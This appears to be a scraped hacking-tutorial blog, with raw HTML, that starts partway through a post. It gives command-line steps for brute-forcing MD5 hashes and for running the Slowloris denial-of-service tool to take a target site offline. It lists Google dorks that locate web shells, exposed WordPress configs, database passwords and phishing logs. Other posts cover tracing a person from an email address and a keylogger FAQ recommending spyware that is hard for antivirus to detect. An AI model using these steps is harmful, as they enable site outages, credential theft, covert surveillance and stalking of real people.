href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP_dYgk1zUg1D8vScBUW_5GaibQ4SEQm1EU8EJvvgR0ykiN-YAr-le55CeaKMci0T2oH8xvEAz8YE41q3Vy_R5hrb38dk_cSJxxULkOjlCdJOEkySHEEPpUtsomWFKnemhXqSg-5uu-BWj/s1600/Screenshot.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="306" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP_dYgk1zUg1D8vScBUW_5GaibQ4SEQm1EU8EJvvgR0ykiN-YAr-le55CeaKMci0T2oH8xvEAz8YE41q3Vy_R5hrb38dk_cSJxxULkOjlCdJOEkySHEEPpUtsomWFKnemhXqSg-5uu-BWj/s400/Screenshot.jpg" width="400" /></a></div><div style="margin-bottom: 0in;"><br /></div>(5)type following in terminal & hit enter.<br /><br />perl md5crack.pl ad 1 3 900150983cd24fb0d6963f7d28e17f72<br /><br />our command will be like this > perl md5crack.pl ad 1 3 900150983cd24fb0d6963f7d28e17f72<br /><br />ad is charset if we will use ad option that means it will try only lowercase alphabets and all digits 0-9 now 1 is minimum lenth of hash character like a b c etc and 3 is maximum lenth of hash so this command will try all lowercase alpha numerical from 1 to 3 lenth so if password is like abc or ab9 tc it will show us result now lets see next command line <br /><br />  <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0sTeVGVJCRG7-A2X7k6lQRZ5BLbSjdE51C-rcsySXacaUJ9pYTsjPt3emzRAIeVH2GXStZcb4ER4Mznmd4S-u-PPxjE2Iz7yD1CyLOLJgLJGeWQnHCb7d2E9NVEb88BsIau0iTaLL85sM/s1600/Screenshot2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="crack-md5-hash-in-ubuntu" border="0" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0sTeVGVJCRG7-A2X7k6lQRZ5BLbSjdE51C-rcsySXacaUJ9pYTsjPt3emzRAIeVH2GXStZcb4ER4Mznmd4S-u-PPxjE2Iz7yD1CyLOLJgLJGeWQnHCb7d2E9NVEb88BsIau0iTaLL85sM/s400/Screenshot2.jpg" title="crack md5 hash in ubuntu" width="400" /></a></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><br /></div>(6)type following in terminal & hit enter.<br /><br />perl md5crack.pl aA 3 3 900150983cd24fb0d6963f7d28e17f72<br /><br />see here aA charset if we will use this option than it will try<br /><br />lower,uppercase alpha numerical word like "Jt3" and minimum length 3 and maximum is 3 it means it will try like this aaa,aab,aac ............aAc etc now lets move on last command line<br /><br />(7)Type following command in terminal.<br /><br />perl md5crack.pl aAdx 1 10 900150983cd24fb0d6963f7d28e17f72<br /><br />here is charset is aAdx it will try lower,upperalpha numerical and specail charater ./*-+& etc. here minimum lenth is 1 and maximum is 10 to it will start from a to aaaaaaaaaa the first command will finish our tast fast but if hash included only lowercase alpha numerical word secound will try uppercase so it will took more than first command and thrid one will took more then first and second command so how to finish our job fast ok for cracking an hash i will say use more shell in one time like see normaly an pass length will be minimum 4 digits so we can start from 4 and maximum may be 10 or more so here what to do we can use 6 shell in one time for first command i will give u example here.<br /><br />(8)it`s our last example.<br /><br />perl md5crack.pl 4 4 900150983cd24fb0d6963f7d28e17f72<br /><br />perl md5crack.pl ad 4 4 <hash here> this command will try only 4 charcter lenght word so in second shell we can try 5 5 so that will try only 5 charcter lengh word<br /><br />perl md5crack.pl ad 5 5 <hash here> like this we can use 6 6, 7 7, 8 8 , etc so minimum and maximum length will be same so task will be finish fast and it depend on charset what kind of charset you are trying like ad,aA or aAdx now as i told here i have an example to make understand>>> text= "r2/." and encrypted md5 hash is "5d28a1f53e24a8b0a85d0a53348d49ad" we will try to crack it again in plain text here we will try command line > perl md5crack.pl aAdx 4 4 5d28a1f53e24a8b0a85d0a53348d49ad  </div>

how to crack md5 hash in ubuntu?

If you have an password in md5 hash and you need password in plain text for this there is lot of tool and online websites too but they wont ...

+ Read more »

How to install & use SLOWLORIS in ubuntu?

<div dir="ltr" style="text-align: left;" trbidi="on">(1)Open a browser and go to this URL: ‘http://ha.ckers.org/slowloris‘ (here you can know more about what is SLOWLORIS, & what it can do)<br /><br />(2)Scroll down to the bottom of the page and right click, the slowloris link ‘save link as’ and save the file to your desktop.<br /><br />(3)Open a terminal and type this command: cd Desktop and hit enter. This moves the working directory to your desktop.<br /><br />(4)Then type in your terminal:<br /><br />sudo apt-get install perl-doc<br /><br />and enter your password when prompted. This installs the Perl documentation module you’ll need to see the Slowloris help page. Wait while the packages download and install.<br /><br />(5)Then type this command, (all in one line) and press enter:<br /><br />sudo apt-get install libhtml-parser-perl libio-socket-ssl-perl<br /><br />(6)When ask yes/no type Y and press enter, this installs some libraries for Slowloris.<br /><br />Again type another command, this time:<br /><br />perldoc slowloris.pl<br /><br />and hit enter. This will show the documentation for Slowloris. I usually type Crtl+X+Y=enter to save it as a record but if you like you can just scan it and type Crtl+X to get rid of it.<br /><br />(7)Next you should type<br /><br />sudo perl slowloris.pl -dns example.com -port 80 -test<br /><br />hit enter and password if requested. This tests the server to see what it’s timeout window is. Wait until the test finishes, it will take several minutes. When it’s done it will tell you what timeout value to use….something along the likes of ‘Use 240 seconds for -timeout’.<br /><br />(8)In the terminal window type,<br /><br />sudo perl slowloris.pl -dns example.com -port 80 -timeout 240 -num 500 -tcpto 5<br /><br />This performs the actual attack, if your time out test told you to use another timeout value use that.<br /><br />(9)In your browser window reload the target page and you should see an error message that the server is unavailable. The attack has made the target site unavailable to all users.<br /><br />To stop the attack just type Ctrl+C.</div>

How to install & use SLOWLORIS in ubuntu?

(1)Open a browser and go to this URL: ‘http://ha.ckers.org/slowloris‘ (here you can know more about what is SLOWLORIS, & what it can do)...

+ Read more »

Some cool Google Dork

<div dir="ltr" style="text-align: left;" trbidi="on">Symlink dork.<br /><br />Code:<br /><br />inurl:/sym/root/ & intext:"Parent Directory"<br /><br />c99shell dork.<br /><br />Code:<br /><br />inurl:(shell.php | c99.php) Encoder Bind Proc. FTP brute Sec. SQL PHP-code Feedback Self remove Logout<br /><br />c99shell dork(2).<br /><br />Code:<br /><br />inurl:(shell.php | c99.php) intitle:c99shell Encoder Bind Proc. FTP brute Sec. SQL PHP-code Feedback Self remove Logout<br /><br />WordPress MySQL details.<br /><br />Code:<br /><br />inurl:(wp-config.conf | wp-config.txt) ext:(conf | txt | config)<br /><br />Databases username && passwords.<br /><br />Code:<br /><br />inurl:/includes/ & ext:inc & inurl:connect | inurl:dbconnect & -site:phpkode.com<br /><br />Phish The Phisher<br /><br />Code:<br /><br />filetype:txt & intext:"email=" & intext:"pass=" & intext:"charset_test="<br /><br />phpmyadmin exploit<br /><br />Code:<br /><br />allinurl:index.php?db=information_schema<br /><br />Here is list of other google dork. <a href="http://www.4shared.com/file/lzdEULnW/new_file.html" target="_blank">Download here</a>.</div>

Some cool Google Dork

Symlink dork. Code: inurl:/sym/root/ & intext:"Parent Directory" c99shell dork. Code: inurl:(shell.php | c99.php) Encoder Bind...

+ Read more »

How to find person through his email-address?

<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div style="margin-bottom: 0in;"></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;">How to find person through its email-address? </span></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;"></span></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;">If you get email from unknown person and before giving reply to email, you want to find little information about that person , then you need reverse email-address lookup. Or someone who abuse you , & you want to trace person you should use reverse email-address lookup. </span></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;"></span></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;">If person has website or listed his account in any public website then you can find information about use of search engine. But in most cases , person use fake email-address for communication. </span></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;"><br /></span></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;"></span></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;">(1)If person use any desktop client(like outlook,Evolution mail etc) to send email then you can trace his I.P. From email. But if he send from browser then you get location of his email provider. For example , person send email from gmail through web-browser then you get location of gmail server.</span></span></span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;">Open the header of the email message and look for lines that say “Received: from” followed by an IP address in square brackets. If there are multiple entries, use the IP address mentioned in the last entry. </span></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;">Now paste the IP address in this trace route tool and you should get a fairly good idea about the location of the email sender. </span></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;"></span></span></span></div><a name='more'></a><br /><div style="margin-bottom: 0in;"></div><br /><br /><div style="margin-bottom: 0in;"></div><br /><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;"></span></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;">(2)Try to email search with Facebook. Facebook is largest social website nowadays , if person register his account on that email , then you can search his profile by email-address in facebook. Put his email-address in facebook search-box. </span></span></span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc7OOtiRirN11qDIv-kAHfgQzYDcofaCZWmGKTDkvMiCTF4M-CucgGfRnATe_QufL0sDQLKmPdZxmccuZG039mSOgEg3dkgmt0_O5a3lD1EeIFP033t4HoxfMAmj3JSBxncQGwz9I0ssiA/s1600/Screenshot.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt=" find-person-through-his-email-address" border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc7OOtiRirN11qDIv-kAHfgQzYDcofaCZWmGKTDkvMiCTF4M-CucgGfRnATe_QufL0sDQLKmPdZxmccuZG039mSOgEg3dkgmt0_O5a3lD1EeIFP033t4HoxfMAmj3JSBxncQGwz9I0ssiA/s320/Screenshot.jpg" title=" find-person-through-his-email-address" width="320" /></a></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;"><br /></span></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;"></span></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;">(3)If the email address of the send is something like nirav_91@hotmail.com, there’s a probably that he or she may have created accounts of some other social network using the same alias “nirav_91” – put that in knowem.com to confirm. </span></span></span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWn1uA_bQWOrdKTQ75kXF658dkhUNejfCLyRt4Z-RQu3MxuZVyYgBVDRE1kSIcJKJFSQ_TZ4YeMyIgozj5kSiueNxZDQIw1YMDptubQ4NtQ5GARvM2t2ULdn7ae2EVY0ijet6srfV8doIx/s1600/Screenshot1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt=" find-person-through-his-email-address" border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWn1uA_bQWOrdKTQ75kXF658dkhUNejfCLyRt4Z-RQu3MxuZVyYgBVDRE1kSIcJKJFSQ_TZ4YeMyIgozj5kSiueNxZDQIw1YMDptubQ4NtQ5GARvM2t2ULdn7ae2EVY0ijet6srfV8doIx/s320/Screenshot1.jpg" title=" find-person-through-his-email-address-1" width="320" /></a></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;"><br /></span></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;"></span></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;">(4)Finally, if nothing works, you should try a people search service like Pipl and Spokeo –both services let you perform reverse email lookups but Spokeo has a more comprehensive database than Pipl.(But some Information in Spokeo need subscription) </span></span></span></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8od8MS_XSBPlcEn2evvtGWQWmQ82TZsDrOJfxoFzG79UTvki0KQAR-70JrM8x0zuaq-D3SUETbIPbKZ4pz96BiETTAEhvlZo2l0fDp1BL25XiHCU4Ha1YfvMpf3MfNMib5hSXI3q_x85t/s1600/Screenshot3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt=" find-person-through-his-email-address" border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8od8MS_XSBPlcEn2evvtGWQWmQ82TZsDrOJfxoFzG79UTvki0KQAR-70JrM8x0zuaq-D3SUETbIPbKZ4pz96BiETTAEhvlZo2l0fDp1BL25XiHCU4Ha1YfvMpf3MfNMib5hSXI3q_x85t/s320/Screenshot3.jpg" title=" find-person-through-his-email-address-2" width="320" /></a></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;"><br /></span></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;">Other than regular web documents, Spoke also scans social networks and even the whois information of domain names to find any bit of information associated with an email address. </span></span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="color: #222222;"><br /></span></span></span></div><br /></div>

How to find person through his email-address?

How to find person through its email-address? If you get email from unknown person and before giving reply to email, you want to find little...

+ Read more »

All About Keyloggers - FAQ

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAx4LHIbe9qKX-W9-43ZEGJuIvLDaNCiJB4x4Xoi9euBivEhRU1jxUySCgiaVQ1xyJKuiThbk7mDJPR4bFGOBYFnUJz4DL1A5LswgbP07gJjbixm_Wgqv8Xau_-jwRd5l13QpaKDtGkQ0/s1600/hacker-hat.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="110" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAx4LHIbe9qKX-W9-43ZEGJuIvLDaNCiJB4x4Xoi9euBivEhRU1jxUySCgiaVQ1xyJKuiThbk7mDJPR4bFGOBYFnUJz4DL1A5LswgbP07gJjbixm_Wgqv8Xau_-jwRd5l13QpaKDtGkQ0/s200/hacker-hat.jpg" width="200" /></a></div>A keylogger sometimes called a spying software is a small program which is used to monitor a local or a Remote PC, Keyloggers now a days are so easy to use that a person with even a basic knowledge of computers can use keylogger.Once a keylogger is installed in your computer it can monitor each and every keystroke typed on your computer, thus you can see how dangerous a keylogger can be.<br /><b></b><br /><a name='more'></a><b>Types of Keylogger</b><br /><br />There are two types of Keyloggers:<br /><br /><b>1.<a href="http://rafayhackingarticles.blogspot.com/2010/11/how-to-hack-facebook-accountl-using.html">Hardware keylogger</a></b><br /><b>2.Software keylogger</b><br /><br />Hardware keyloggers are rarely used now a days since you can monitor a Remote computer, Software keyloggers are the most widely used keyloggers as some of them support remote installaiton which means that you can monitor any computer anywhere in the World.<br /><b><br /></b><br /><b>Can the victim detect it's presence once keylogger is installed in his/her computer?</b><br /><br />Well it's really difficult for the victim to detect keylogger's presence as it runs in complete stealth mode, It hides it self from task manager, startup etc<br /><br /><b>Can I the victim trace you back?</b><br /><br />Once the keylogger is installed, I think it's almost impossible for the victim to trace you back<br /><br /><b>How can I protect my self from keylogger?</b><br /><br />A simple keylogger can be detected by even a lame antivirus, but sometimes the attacker can use methods like Crypting,Binding,Hexing etc, that make it harder for the Antivirus to detect the keylogger. So to counter that you should use a piece of software called sandboxie, <b>Sandboxie</b> runs the choosen computer program in an Isolated space so if the file you receive is a keylogger, You need no to worry because it won't affect your other programs, Firefox users can use the free version of <b>keyscrambler</b> which encrypts each and every keystrokes you type, so even if a keylogger is installed in your computer, You need not to worry as the attacker will receive the encrypted keystroke<br /><b><br /></b><br /><b>Which Keylogger is the best?</b><br /><br />With my experience of more than 4 years in the field of Ethical Hacking and security I suggest only two keyloggers which I think are best and have a comparatively low antivirus detection rate:<br /><br /><b>1<a href="http://.sniperspy/">.Sniperspy</a></b><br /><b>2.<a href="http://rafayhackingarticles.blogspot.com/2010/05/hack-facebook-password-with-winspy.html">Winspy</a></b><br /><b><br /></b><br /><b>How do I find if a file is binded with a keylogger?</b><br /><br />Keylogger can be binded with almost any file so how do you know if the file is binded?, You can use Bintext or Hex editor to find out, But <a href="http://rafayhackingarticles.blogspot.com/2010/08/hack-hacker-with-bin-text.html"><b>Bintext</b></a> and Hex editing method do not work effectively if the server is crypted so alternatively there is a great piece of software named asas "<b>Resource hacker</b>" that can tell you if the file is binded or not<br /><br /><b>Hope you had enjoyed reading the article.If you have any questions feel free to ask.</b></div>

All About Keyloggers - FAQ

A keylogger sometimes called a spying software is a small program which is used to monitor a local or a Remote PC, Keyloggers now a days are...

+ Read more »